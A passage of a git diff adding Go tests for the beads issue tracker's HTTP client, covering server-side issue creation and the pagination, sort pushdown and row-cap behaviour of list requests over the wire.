t.Fatalf("forced create at a foreign prefix: %v", err) + } + if forced.Issue == nil || forced.Issue.ID != foreign { + t.Fatalf("forced create answered %+v, want the requested id %q", forced.Issue, foreign) + } + assertServedIssueRows(t, ctx, env, 1, foreign) +} + +// TestServedCreateAnswersTheRowAsStored pins the RESPONSE half of the create, +// which no request assertion can see: the row that comes back is the server's, +// not the request reflected. +// +// The three members it reads are the three only the server can supply — the +// MINTED id (the request named none), the DEFAULTED status (the request named +// none either) and the persisted creation stamp, which this operation +// deliberately does not let a caller set. A client that echoed its own request +// back would answer an empty id, an empty status and a zero time. +func TestServedCreateAnswersTheRowAsStored(t *testing.T) { + env := newServedEnv(t, "hlcr2") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + created, err := lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{Title: "minted", Priority: 2, IssueType: types.TypeTask}, + }) + if err != nil { + t.Fatalf("Create: %v", err) + } + if created.Issue == nil { + t.Fatal("Create answered no issue") + } + if !strings.HasPrefix(created.Issue.ID, env.prefix+"-") { + t.Errorf("minted id = %q, want one in the workspace's %q prefix", created.Issue.ID, env.prefix) + } + if created.Issue.Status != types.StatusOpen { + t.Errorf("status = %q, want the defaulted %q", created.Issue.Status, types.StatusOpen) + } + if created.Issue.CreatedAt.IsZero() { + t.Error("created_at is zero; the answer is the row as STORED, and this operation stamps it server-side") + } + if created.Issue.CreatedBy != "writer" { + t.Errorf("created_by = %q, want the request's actor %q; the client never sends CreatedBy over the wire (internal/httpapi/create.go must stamp it from the actor)", created.Issue.CreatedBy, "writer") + } + + // And the row really landed, read out of band. + stored, err := env.getIssue(ctx, created.Issue.ID) + if err != nil { + t.Fatalf("read back %s: %v", created.Issue.ID, err) + } + if stored.Title != "minted" { + t.Errorf("stored title = %q, want %q", stored.Title, "minted") + } + if stored.CreatedBy != "writer" { + t.Errorf("stored created_by = %q, want %q", stored.CreatedBy, "writer") + } +} + +// TestServedCreateStampsCreatedByFromTheActorNotTheWire pins the server half of +// the created_by contract: createIssue publishes no created_by member, so the +// stored creator exists only because internal/httpapi's create.go stamps it from +// the request's actor. A different actor than TestServedCreateAnswersTheRowAsStored +// pins that the stamp tracks THIS request's actor, not a fixed default. +func TestServedCreateStampsCreatedByFromTheActorNotTheWire(t *testing.T) { + env := newServedEnv(t, "hlcby") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + created, err := lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "a-different-actor", + Issue: &issueops.Issue{Title: "stamped", Priority: 1, IssueType: types.TypeTask}, + }) + if err != nil { + t.Fatalf("Create: %v", err) + } + if created.Issue.CreatedBy != "a-different-actor" { + t.Errorf("created_by = %q, want %q", created.Issue.CreatedBy, "a-different-actor") + } + + stored, err := env.getIssue(ctx, created.Issue.ID) + if err != nil { + t.Fatalf("read back %s: %v", created.Issue.ID, err) + } + if stored.CreatedBy != "a-different-actor" { + t.Errorf("stored created_by = %q, want %q", stored.CreatedBy, "a-different-actor") + } +} + +// TestServedCreateCarriesTheShapeBdCreateSends drives the request `bd create` +// actually builds (cmd/bd/create.go): Issue.CreatedBy names the actor, and +// IDPrefix carries the workspace's config.yaml prefix on every create, with no +// explicit id. Neither member has a place on the wire, and neither needs one — +// the server stamps created_by from the actor, and the override acts only on an +// explicit, unforced id — so refusing either would refuse every CLI create in a +// workspace whose config.yaml names a prefix. +func TestServedCreateCarriesTheShapeBdCreateSends(t *testing.T) { + env := newServedEnv(t, "hlcli") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + created, err := lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "cli-user", + Issue: &issueops.Issue{Title: "from the cli", Priority: 2, IssueType: types.TypeTask, CreatedBy: "cli-user"}, + IDPrefix: env.prefix, + }) + if err != nil { + t.Fatalf("Create in bd create's shape = %v, want it served", err) + } + if !strings.HasPrefix(created.Issue.ID, env.prefix+"-") { + t.Errorf("minted id = %q, want one in the workspace's %q prefix", created.Issue.ID, env.prefix) + } + stored, err := env.getIssue(ctx, created.Issue.ID) + if err != nil { + t.Fatalf("read back %s: %v", created.Issue.ID, err) + } + if stored.CreatedBy != "cli-user" { + t.Errorf("stored created_by = %q, want the CreatedBy the request named", stored.CreatedBy) + } +} + +// TestServedCreateNamesTheOccupiedIDInItsRefusal is the served half of the +// message decoration the role makes. +// +// The wire's `already_exists` carries `param: "id"` and no id, because the +// request already said it. A caller of `bd create --id X` refused with a bare +// "already names a stored row" cannot act on it when the create was one of +// several, so the role puts the caller's own id back — the same fact a local +// backend's refusal carries in its own message. +func TestServedCreateNamesTheOccupiedIDInItsRefusal(t *testing.T) { + env := newServedEnv(t, "hlco") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const occupied = "hlco-taken" + seedServedIssue(t, ctx, env, occupied, types.StatusOpen) + + _, err = lifecycle.Create(ctx, issueops.CreateRequest{ + Actor: "writer", ForceIDPrefix: true, + Issue: &issueops.Issue{ + ID: occupied, Title: "squatter", Status: types.StatusOpen, + Priority: 2, IssueType: types.TypeTask, + }, + }) + if !errors.Is(err, issueops.ErrAlreadyExists) { + t.Fatalf("create over an occupied id: err = %v, want ErrAlreadyExists", err) + } + if !strings.Contains(err.Error(), occupied) { + t.Errorf("the refusal does not name the occupied id: %v", err) + } +} diff --git a/internal/httpclient/served_list_test.go b/internal/httpclient/served_list_test.go new file mode 100644 index 000000000..8cab1f837 --- /dev/null +++ b/internal/httpclient/served_list_test.go @@ -0,0 +1,1774 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_list_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/url" + "reflect" + "slices" + "strconv" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The List behaviors the shared Reader contract cannot reach over this wire, +// asserted through the same composition. +// +// Almost every List case in reader_contract.go scopes itself with IDFilter, and +// listIssues publishes no id parameter, so those cases are parked next door and +// their behaviors are pinned HERE instead — same assertions, scoped by a label, +// which the wire does carry. What is not restated here is anything the contract +// case actually runs: this file exists to close the gap the parking opened, not +// to grow a second contract. + +// listScope mints a label nothing else in the package uses. +func listScope(name string) string { return servedIssuePrefix + "-ls-" + name } + +func listID(name, tag string) string { return fmt.Sprintf("%s-ls%s-%s", servedIssuePrefix, name, tag) } + +func seedListIssue(t *testing.T, ctx context.Context, c *servedComposition, id, scope string, at time.Time, priority int) { + t.Helper() + issue := &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: priority, + IssueType: types.TypeTask, Labels: []string{scope}, + } + if !at.IsZero() { + issue.CreatedAt = at + issue.UpdatedAt = at + } + if err := c.seedIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } +} + +func servedReader(t *testing.T) (*servedComposition, issueops.Reader) { + t.Helper() + c := composition(t) + reader := bindRole(t, c.fixture(t), func(s *Store) (issueops.Reader, error) { return s.IssueReader() }) + return c, reader +} + +func pageIDs(page issueops.IssuePage) []string { + ids := make([]string, 0, len(page.Items)) + for _, item := range page.Items { + if item != nil && item.Issue != nil { + ids = append(ids, item.ID) + } + } + return ids +} + +// listSpy is a client onto the composition that records every listIssues +// request the pager sends, against a handshake the TEST chose. +// +// It answers the two questions the sort pushdown makes checkable and that no +// assertion about the returned page can reach: HOW MANY round trips a request +// cost, and WHICH keys each one carried. Both are the point of the leg — the +// answer is supposed to be identical either way — so a case that only compared +// answers would pass against a client that had never gained the leg at all. +// +// The handshake is supplied rather than fetched because that is how a +// down-level server is modelled without a second binary: New's third parameter +// pre-seeds the snapshot cache, so the capability probe reads it and never +// dials. That has a second effect this file relies on — the recorded requests +// are listIssues and nothing else, so a dial count is a page count. +type listSpy struct { + store *Store + sent []url.Values +} + +func (c *servedComposition) listSpy(t *testing.T, snapshot *apigen.ContextResponse) *listSpy { + t.Helper() + base, err := url.Parse(c.baseURL) + if err != nil { + t.Fatalf("parse the composition base URL: %v", err) + } + transport, err := wire.New(base, nil, wire.Options{}) + if err != nil { + t.Fatalf("build a spying wire client: %v", err) + } + spy := &listSpy{} + spy.store = New(Target{BaseURL: base}, tamperedWire{ + WireClient: servedWire{transport}, + tamper: func(req *wire.Request) { + if req.Op != wire.OpListIssues { + return + } + // Copied, because the pager reuses ONE url.Values across the pages + // of a walk: recording the map itself would record the last page's + // query as many times as there were pages. + query := url.Values{} + for key, values := range req.Query { + query[key] = append([]string(nil), values...) + } + spy.sent = append(spy.sent, query) + }, + }, snapshot) + return spy +} + +func (s *listSpy) reader(t *testing.T) issueops.Reader { + t.Helper() + reader, err := s.store.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + return reader +} + +func (s *listSpy) dials() int { return len(s.sent) } + +// sortKeys is the `sort` each recorded request named, "" for one that named +// none. It exists so a failure prints what the client actually sent. +func (s *listSpy) sortKeys() []string { + keys := make([]string, 0, len(s.sent)) + for _, query := range s.sent { + keys = append(keys, query.Get("sort")) + } + return keys +} + +// listSortHandshakes returns the server's OWN handshake and a copy of it with +// the pushdown capability struck out — the two arms the cases below run. +// +// The advertised half is CHECKED rather than assumed. If the served build +// stopped advertising the token, both arms would be the down-level one, every +// answer comparison would still pass, and the pushdown would be silently +// untested; that is what this Fatalf exists to make loud. +func listSortHandshakes(ctx context.Context, t *testing.T, c *servedComposition) (advertised, downLevel *apigen.ContextResponse) { + t.Helper() + snapshot, err := c.client.snapshot(ctx) + if err != nil { + t.Fatalf("handshake the served composition: %v", err) + } + if !slices.Contains(snapshot.Capabilities, wire.CapListSort) { + t.Fatalf("the served bd serve advertises %v, which does not include %q; every arm below would be the "+ + "down-level one and the comparison would prove nothing", snapshot.Capabilities, wire.CapListSort) + } + up, down := *snapshot, *snapshot + up.Capabilities = slices.Clone(snapshot.Capabilities) + down.Capabilities = slices.DeleteFunc(slices.Clone(snapshot.Capabilities), + func(token string) bool { return token == wire.CapListSort }) + if len(down.Capabilities) != len(up.Capabilities)-1 { + t.Fatalf("striking %q left %d capabilities of %d", wire.CapListSort, len(down.Capabilities), len(up.Capabilities)) + } + return &up, &down +} + +// TestServedReaderListLimitBoundaryUnderALabelScope is +// RunReaderListLimitBoundaryUnderASortTheDatabaseCanExpress with the id scope +// swapped for a label one. Under created order the walk stops early and the +// verdict comes from the over-fetched row, which is the arm an off-by-one lives +// in. +func TestServedReaderListLimitBoundaryUnderALabelScope(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("limit") + + base := time.Now().UTC().Truncate(time.Second).Add(-5 * time.Hour) + var ids []string + for i, tag := range []string{"a", "b", "c"} { + id := listID("limit", tag) + ids = append(ids, id) + seedListIssue(t, ctx, c, id, scope, base.Add(time.Duration(i)*time.Minute), 2) + } + + full, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "created", Limit: ptrTo(0)}) + if err != nil { + t.Fatalf("List --limit 0: %v", err) + } + if len(full.Items) != len(ids) { + t.Fatalf("List --limit 0 returned %v, want the three seeded rows", pageIDs(full)) + } + if full.HasMore { + t.Error("an unlimited list can hide nothing but reported HasMore") + } + order := pageIDs(full) + + for _, test := range []struct { + name string + limit *int + wantN int + hasMore bool + }{ + {"unset takes the shared default, which does not truncate three rows", nil, 3, false}, + {"a limit under the result count truncates and says so", ptrTo(2), 2, true}, + {"a limit exactly at the result count hides nothing", ptrTo(3), 3, false}, + {"a limit of one is the tightest page the over-fetch has to get right", ptrTo(1), 1, true}, + } { + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "created", Limit: test.limit}) + if err != nil { + t.Fatalf("List (%s): %v", test.name, err) + } + if page.Items == nil { + t.Errorf("List (%s) returned a nil Items", test.name) + } + if len(page.Items) != test.wantN { + t.Errorf("List (%s) returned %v, want %d rows", test.name, pageIDs(page), test.wantN) + } + if page.HasMore != test.hasMore { + t.Errorf("List (%s) HasMore = %v, want %v", test.name, page.HasMore, test.hasMore) + } + if got := pageIDs(page); !slices.Equal(got, order[:min(len(got), len(order))]) { + t.Errorf("List (%s) returned %v, want a prefix of %v", test.name, got, order) + } + } +} + +// TestServedReaderListAppliesTheClientSideDisplayOrder is ledger row L2 in one +// case: the wire is welded to created order, so `--sort id` — natural-numeric, +// which no lexical ORDER BY produces — can only be produced client-side, and the +// TRIM has to run after it or the page keeps the wrong rows. +func TestServedReaderListAppliesTheClientSideDisplayOrder(t *testing.T) { + ctx := t.Context() + c, reader := servedReader(t) + scope := listScope("order") + + one, two, ten := listID("order", "1"), listID("order", "2"), listID("order", "10") + // Seeded in an order that is neither the natural one nor the lexical one, so + // a client that returned the wire's own order fails visibly. + for _, id := range []string{ten, one, two} { + seedListIssue(t, ctx, c, id, scope, time.Time{}, 2) + } + + page, err := reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id"}) + if err != nil { + t.Fatalf("List --sort id: %v", err) + } + if want := []string{one, two, ten}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort id = %v, want %v", pageIDs(page), want) + } + if page.HasMore { + t.Error("List --sort id reported HasMore on an untruncated page") + } + + page, err = reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Limit: ptrTo(2)}) + if err != nil { + t.Fatalf("List --sort id --limit 2: %v", err) + } + if want := []string{one, two}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort id --limit 2 = %v, want %v: the trim runs after the sort", pageIDs(page), want) + } + if !page.HasMore { + t.Error("List --sort id --limit 2 hid a row without reporting HasMore") + } + + page, err = reader.List(ctx, issueops.ListRequest{Labels: []string{scope}, SortBy: "id", Reverse: true, Limit: ptrTo(2)}) + if err != nil { + t.Fatalf("List --sort id --reverse --limit 2: %v", err) + } + if want := []string{ten, two}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort id --reverse --limit 2 = %v, want %v", pageIDs(page), want) + } +} + +// TestServedReaderListSortPushdownIsOneDial is what the pushdown BUYS, stated +// as the only thing that distinguishes it: a bounded request in an order the +// caller named costs one round trip instead of a walk to exhaustion. +// +// The request is the FLAGLESS one on purpose. It is the order `bd list` shows +// when nobody names a sort, so it is the order almost every real invocation is +// in, and it is the one the walk could never stop early on — before S2 it read +// every matching row to return five. +// +// GOES RED when the pushdown leg is removed from walkIssues: the first arm +// takes four requests instead of one. The control arm is what tells that apart +// from a spy that has stopped counting — it asserts the walk's exact page +// arithmetic, so a broken counter fails there and a working pushdown does not. +func TestServedReaderListSortPushdownIsOneDial(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("pushdown") + + restore := walkPageSize + walkPageSize = 3 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-9 * time.Hour) + const seeded = 10 + for i := range seeded { + // Priorities cycle against a monotone creation order, so the flagless + // order (priority ASC, created DESC, id ASC) picks a different five + // rows than a created-order prefix would — which is what makes the + // answer comparison below evidence about the ORDER rather than a + // coincidence of the fixture. + seedListIssue(t, ctx, c, listID("pushdown", fmt.Sprintf("%02d", i)), scope, + base.Add(time.Duration(i)*time.Minute), i%4) + } + + advertised, downLevel := listSortHandshakes(ctx, t, c) + req := issueops.ListRequest{Labels: []string{scope}, Limit: ptrTo(5)} + + push := c.listSpy(t, advertised) + got, err := push.reader(t).List(ctx, req) + if err != nil { + t.Fatalf("List under the pushdown: %v", err) + } + if push.dials() != 1 { + t.Errorf("the pushdown took %d requests (sorts %v), want exactly one", push.dials(), push.sortKeys()) + } + + walk := c.listSpy(t, downLevel) + want, err := walk.reader(t).List(ctx, req) + if err != nil { + t.Fatalf("List under the down-level walk: %v", err) + } + if walk.dials() != 4 { + t.Fatalf("the down-level walk took %d requests, want the four that %d rows at %d per page cost; "+ + "if this says one, the spy has stopped counting rather than the pushdown having fired", + walk.dials(), seeded, walkPageSize) + } + + if !slices.Equal(pageIDs(got), pageIDs(want)) { + t.Errorf("the pushdown answered %v and the walk answered %v; the fast leg must not change the answer", + pageIDs(got), pageIDs(want)) + } + if got.HasMore != want.HasMore { + t.Errorf("the pushdown reported HasMore = %v and the walk %v", got.HasMore, want.HasMore) + } + // THE PREMISE, so neither comparison above can be satisfied vacuously: the + // page has to truncate, and it has to truncate to rows a created-order + // prefix would not have chosen. + if !got.HasMore { + t.Fatalf("a limit of 5 over %d rows reported no more; this case never exercised a truncating page", seeded) + } + welded := c.listSpy(t, downLevel) + created, err := welded.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "created", Limit: ptrTo(5), + }) + if err != nil { + t.Fatalf("List in the welded order: %v", err) + } + if slices.Equal(pageIDs(got), pageIDs(created)) { + t.Fatalf("the flagless page and the created-order page are both %v; the fixture no longer "+ + "distinguishes the pushdown's order from the wire's own, so the assertions above prove nothing", + pageIDs(got)) + } +} + +// TestServedReaderListFallsBackToTheWalkWithoutTheCapability is the other half +// of the preflight: a server that does not advertise the token is sent no +// `sort` and no `reverse` AT ALL, on any page, and still gets the right answer. +// +// The two arms assert different things and both are load-bearing. The +// advertised arm pins the request the pushdown utters, key by key, because that +// request is the whole contract with the server. The down-level arm pins its +// ABSENCE, because a client that emitted `sort` unconditionally would work +// perfectly against this composition's server and 400 against every older one. +// +// GOES RED when the servesListSort conjunct is dropped from the gate: the +// down-level arm sends one request carrying sort=priority. +func TestServedReaderListFallsBackToTheWalkWithoutTheCapability(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("downlevel") + + restore := walkPageSize + walkPageSize = 1 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-11 * time.Hour) + ids := map[string]string{} + for i, seed := range []struct { + tag string + priority int + }{{"a", 3}, {"b", 1}, {"c", 2}, {"d", 0}} { + ids[seed.tag] = listID("downlevel", seed.tag) + seedListIssue(t, ctx, c, ids[seed.tag], scope, base.Add(time.Duration(i)*time.Minute), seed.priority) + } + // Priority ASC takes d then b; the welded created-DESC order takes d then + // c. The two pages differ in their SECOND row, so an answer of [d b] is + // only reachable by honoring the sort. + wantPage := []string{ids["d"], ids["b"]} + + advertised, downLevel := listSortHandshakes(ctx, t, c) + req := issueops.ListRequest{Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(2)} + + push := c.listSpy(t, advertised) + got, err := push.reader(t).List(ctx, req) + if err != nil { + t.Fatalf("List under the pushdown: %v", err) + } + if push.dials() != 1 { + t.Fatalf("the pushdown took %d requests (sorts %v), want one; the per-page size is not its bound, "+ + "the caller's limit is", push.dials(), push.sortKeys()) + } + sent := push.sent[0] + for _, want := range []struct{ key, value string }{ + {"sort", "priority"}, + {"limit", "2"}, + } { + if got := sent.Get(want.key); got != want.value { + t.Errorf("the pushdown sent %s=%q, want %q (whole query %v)", want.key, got, want.value, sent) + } + } + // No `reverse` ever, pushdown or not: listIssues publishes no such + // parameter at all (S3 reconciliation, 2026-10) — it + // belongs only to GET /v0/beads/issues:query's nine-order vocabulary — + // so a client that sent one, even spelled false, would meet this + // operation's unknown-parameter refusal rather than a direction. + if sent.Has("reverse") { + t.Errorf("the pushdown sent reverse=%q; listIssues publishes no `reverse` parameter", sent.Get("reverse")) + } + + down := c.listSpy(t, downLevel) + fallback, err := down.reader(t).List(ctx, req) + if err != nil { + t.Fatalf("List against a server without the capability: %v", err) + } + for i, query := range down.sent { + if query.Has("sort") || query.Has("reverse") { + t.Errorf("down-level request %d of %d carried sort=%q reverse=%q; a server that does not advertise "+ + "%q must be sent neither", i, down.dials(), query.Get("sort"), query.Get("reverse"), wire.CapListSort) + } + } + // Checked AFTER the absence, not before it, so that a client which had + // stopped consulting the capability at all reports the key it wrongly sent + // rather than only the round trip it wrongly saved. + if down.dials() < 2 { + t.Errorf("the down-level arm took %d requests over %d rows at %d per page; it did not walk, so the "+ + "absence checked above is the absence of a single request rather than of a walk", + down.dials(), len(ids), walkPageSize) + } + + for name, page := range map[string]issueops.IssuePage{"the pushdown": got, "the fallback walk": fallback} { + if !slices.Equal(pageIDs(page), wantPage) { + t.Errorf("%s answered %v, want %v", name, pageIDs(page), wantPage) + } + if !page.HasMore { + t.Errorf("%s hid two rows without reporting HasMore", name) + } + } +} + +// TestServedReaderListWeldedOrderKeepsSendingNoSortParameter is the `want == 0` +// conjunct, which is the only one of the four that is not about correctness. +// +// The server would accept `sort=created` and answer identically — it is the +// order it serves anyway — so nothing here would be WRONG. What the conjunct +// buys is that the request family which predates the parameter keeps sending no +// parameter: an un-reversed created-order page is already one round trip +// (the walk stops on the over-fetched row), so naming the order would buy no +// request and would newly make every such `bd list` depend on a server-side +// code path that did not exist a release ago. That is a compatibility surface +// taken on for nothing, and this case is what keeps it from being taken on by +// accident. +// +// The reversed arm is here to keep the conjunct NARROW rather than merely +// present: created-DESCENDING is not the order the wire serves and the walk +// cannot stop early on it — but it does not push down either (S3 +// reconciliation, 2026-10). listIssues publishes no +// `reverse` parameter at all, so there is no wire shape for "the other +// direction of an order this operation does serve"; listSortPushdownEligible +// refuses every reversed request regardless of SortBy, and this arm walks to +// exhaustion and re-sorts client-side exactly as an unpublished SortBy would. +// +// GOES RED when `want == 0` is dropped from the gate: the first arm sends +// sort=created and asks for the caller's two rows rather than the walk's three. +// It also goes red if listSortPushdownEligible ever stopped refusing a +// reversed request: the second arm's dial count would drop as the walk gave +// way to a single pushdown request, and the key-by-key absence check below +// would catch the `reverse` key that request sent. +func TestServedReaderListWeldedOrderKeepsSendingNoSortParameter(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("welded") + + base := time.Now().UTC().Truncate(time.Second).Add(-17 * time.Hour) + ids := map[string]string{} + for i, tag := range []string{"a", "b", "c", "d"} { + ids[tag] = listID("welded", tag) + seedListIssue(t, ctx, c, ids[tag], scope, base.Add(time.Duration(i)*time.Minute), 2) + } + advertised, _ := listSortHandshakes(ctx, t, c) + + forward := c.listSpy(t, advertised) + page, err := forward.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: wireListSort, Limit: ptrTo(2), + }) + if err != nil { + t.Fatalf("List --sort created --limit 2: %v", err) + } + if want := []string{ids["d"], ids["c"]}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort created --limit 2 = %v, want %v", pageIDs(page), want) + } + if !page.HasMore { + t.Error("List --sort created --limit 2 hid two rows without reporting HasMore") + } + if forward.dials() != 1 { + t.Fatalf("the welded order took %d requests; the walk already stops on the over-fetched row, so this "+ + "case's premise — that the pushdown would save nothing here — is what changed", forward.dials()) + } + sent := forward.sent[0] + if sent.Has("sort") || sent.Has("reverse") { + t.Errorf("the welded order sent sort=%q reverse=%q; the request family that predates the parameter "+ + "must keep sending neither", sent.Get("sort"), sent.Get("reverse")) + } + if got := sent.Get("limit"); got != "3" { + t.Errorf("the welded order asked for limit=%q, want the walk's own over-fetch of 3 (the caller's two "+ + "rows plus the row that decides HasMore)", got) + } + + // The same key REVERSED is a different order from the one the wire serves, + // and listIssues has no parameter that names the reversed direction of + // anything — so this walks to exhaustion (one request: four seeded rows + // is well under the walk's own page size) and gets re-sorted client-side, + // the same leg an unpublished SortBy takes. + backward := c.listSpy(t, advertised) + page, err = backward.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: wireListSort, Reverse: true, Limit: ptrTo(2), + }) + if err != nil { + t.Fatalf("List --sort created --reverse --limit 2: %v", err) + } + if want := []string{ids["a"], ids["b"]}; !slices.Equal(pageIDs(page), want) { + t.Errorf("List --sort created --reverse --limit 2 = %v, want %v", pageIDs(page), want) + } + if backward.dials() != 1 { + t.Fatalf("the reversed welded order took %d requests, want the one the walk needs to see all four "+ + "seeded rows", backward.dials()) + } + sent = backward.sent[0] + if sent.Has("sort") || sent.Has("reverse") { + t.Errorf("the reversed welded order sent sort=%q reverse=%q; listIssues publishes no `reverse` "+ + "parameter, so a reversed request must walk and sort client-side like any other order this "+ + "operation cannot push down", sent.Get("sort"), sent.Get("reverse")) + } + if got := sent.Get("limit"); got != strconv.Itoa(walkPageSize) { + t.Errorf("the reversed welded order asked for limit=%q, want the walk's own page size %d", got, walkPageSize) + } +} + +// TestServedReaderListUnlimitedStaysAWalk is the `limit > 0` conjunct: an +// unlimited read has to cross every matching row whoever orders them, so it +// keeps the fixed-size walk and never names an order on the wire. +// +// GOES RED — and this is worth being exact about, because the obvious red is +// not the one that fires — when `limit > 0` is dropped from the gate. The +// ANSWER stays correct: the leg would send `limit=0`, and this composition +// binds loopback, where the server permits an unlimited read, so it would come +// back whole and in the right order. What changes is the two things asserted +// below and nothing else: the request count collapses to one, and the requests +// start carrying `sort`. Against a NON-loopback server the same mutation is an +// outright 400, which is the cost this conjunct is really avoiding. +func TestServedReaderListUnlimitedStaysAWalk(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("unlimited") + + restore := walkPageSize + walkPageSize = 3 + t.Cleanup(func() { walkPageSize = restore }) + + base := time.Now().UTC().Truncate(time.Second).Add(-13 * time.Hour) + const seeded = 7 + for i := range seeded { + seedListIssue(t, ctx, c, listID("unlimited", fmt.Sprintf("%02d", i)), scope, + base.Add(time.Duration(i)*time.Minute), i%3) + } + + advertised, _ := listSortHandshakes(ctx, t, c) + spy := c.listSpy(t, advertised) + page, err := spy.reader(t).List(ctx, issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(0), + }) + if err != nil { + t.Fatalf("List --limit 0 --sort priority: %v", err) + } + if len(page.Items) != seeded { + t.Errorf("an unlimited list returned %d rows, want the %d seeded ones: %v", len(page.Items), seeded, pageIDs(page)) + } + if page.HasMore { + t.Error("an exhausted unlimited read reported HasMore") + } + if spy.dials() != 3 { + t.Errorf("the unlimited read took %d requests, want the three that %d rows at %d per page cost; "+ + "one means the pushdown claimed a leg that is not bounded", spy.dials(), seeded, walkPageSize) + } + for i, query := range spy.sent { + if query.Has("sort") { + t.Errorf("unlimited request %d carried sort=%q; an unbounded read names no order on the wire", + i, query.Get("sort")) + } + } +} + +// TestServedReaderListMaxRowsUnderPushdown is ledger row L15's owning proof, +// and it pins a CONVERGENCE the pushdown produced rather than a divergence. +// +// L15 says the http client's MaxRows cap counts WIRE ROWS FETCHED while local +// mode's counts the window the query opened, so a cap roomier than the caller's +// limit could fire here and never fire locally. On the pushdown leg that gap is +// gone: the leg asks for min(limit, MaxRows+1), which is the local expression, +// so a cap at or above the limit cannot fire. The first half asserts that +// against the reference store, and the down-level arm is the CONTROL that keeps +// the row honest — it shows the divergence is still there on the walk leg L15 +// now names, so a green here is a statement about which leg ran and not about +// whether the cap works at all. +// +// The second half is the case the pushdown must NOT change: a cap tighter than +// the limit still refuses, with the same Found/Cap/Source triple `bd list` +// classifies into exit 2. +// +// The third half is the BOUNDARY the first two straddle without touching: a +// result set exactly EQUAL to the cap. Both arms above have matches either +// above the cap or below it, so `>` and `>=` in the overage check answer them +// identically, and the defect `>=` would ship is user-visible. +// +// The fourth is the matrix over the PUBLISHED SORT VOCABULARY, which is what +// keeps the convergence claim from being a claim about `priority` alone. The +// claim rests on min(limit, MaxRows+1) being the local expression, and that is +// false for a Go-side sort, where workapi.SQLLimit pushes 0 down instead of the +// limit. Ranging over the enum rather than naming `id` is deliberate: a second +// Go-side key added to sqlbuild.IsGoSideSort tomorrow must not reopen the hole +// silently. +// +// GOES RED when sortedPage sizes its request from the limit alone (dropping the +// MaxRows term): the tight-cap arm fetches five rows under a cap of two and +// reports Found = 5 instead of the single overage row. GOES RED when the +// overage check reads `>=`: the at-cap arm refuses a page it should serve. GOES +// RED when walkIssues' gate stops excluding a capped Go-side sort: the matrix +// arm answers where the reference store refuses. +func TestServedReaderListMaxRowsUnderPushdown(t *testing.T) { + ctx := t.Context() + c := composition(t) + scope := listScope("maxrows-pushdown") + + local, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + + base := time.Now().UTC().Truncate(time.Second).Add(-15 * time.Hour) + const seeded = 6 + for i := range seeded { + seedListIssue(t, ctx, c, listID("maxrows-pushdown", fmt.Sprintf("%02d", i)), scope, + base.Add(time.Duration(i)*time.Minute), i%3) + } + advertised, downLevel := listSortHandshakes(ctx, t, c) + + // A cap ROOMIER than the limit. Local mode never opens a window wider than + // the limit, so it cannot exceed a cap above it. + roomy := issueops.ListRequest{ + Labels: []string{scope}, SortBy: "priority", Limit: ptrTo(3), + MaxRows: 4, MaxRowsSource: "--max-rows", + } + want, err := local.List(ctx, roomy) + if err != nil { + t.Fatalf("the reference store refused a cap above the limit (%v); L15's convergence claim rests on it "+ + "not doing that, so this row's premise is wrong rather than the client", err) + } + push := c.listSpy(t, advertised) + got, err := push.reader(t).List(ctx, roomy) + if err != nil { + t.Fatalf("List under a cap above the limit: %v, want the reference store's answer", err) + } + if !slices.Equal(pageIDs(got), pageIDs(want)) { + t.Errorf("under a roomy cap the pushdown answered %v and the reference %v", pageIDs(got), pageIDs(want)) + } + if got.HasMore != want.HasMore { + t.Errorf("under a roomy cap the pushdown reported HasMore = %v and the reference %v", got.HasMore, want.HasMore) + } + + // THE CONTROL. Same request, same cap, the leg L15 still describes: the + // walk has to see every row before it can order them, so it fetches past a + // cap the local window never reaches and refuses. + down := c.listSpy(t, downLevel) + 